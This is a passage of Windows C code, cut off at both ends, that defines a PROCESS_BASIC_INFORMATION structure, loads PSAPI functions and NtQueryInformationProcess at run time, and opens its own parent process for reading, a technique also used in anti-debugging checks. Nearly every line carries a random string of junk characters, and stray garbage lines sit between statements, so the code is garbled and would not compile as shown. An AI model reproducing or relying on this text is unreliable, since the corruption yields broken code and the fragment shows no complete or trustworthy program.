DWORD PebBaseAddress; <[bDNe["?
DWORD AffinityMask; ';%g^!lM
a
DWORD BasePriority; WjB[e>
ULONG UniqueProcessId; qMkP/BjV
ULONG InheritedFromUniqueProcessId; +nuQC{^>
} PROCESS_BASIC_INFORMATION; V<7Gd8rDMM
A
3l1$t#w
PROCNTQSIP NtQueryInformationProcess; 4w,}1uNEf
"yumc5kt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !p$V7pFu6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .IgQn|N
jQhf)B
HANDLE hProcess; yLP0w^Q
PROCESS_BASIC_INFORMATION pbi; !8$}]uWP
iu .{L(m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5V0=-K
if(NULL == hInst ) return 0; ;&!l2 UB%
=@'"\
"Nh
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /zWWUl`:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +-"#GL~cC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =
N#WwNC
zV]0S o
if (!NtQueryInformationProcess) return 0; Y'P8 `$
g6farLBF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S.z ;Bm
if(!hProcess) return 0; 7)T+!>
b#M<b.R)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m`|Z1CT
LLE~V~j
CloseHandle(hProcess); DEBgb
vlD]!]V:h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eIO}/npT]Q
if(hProcess==NULL) return 0; \?o%<c5{
gDv]n^&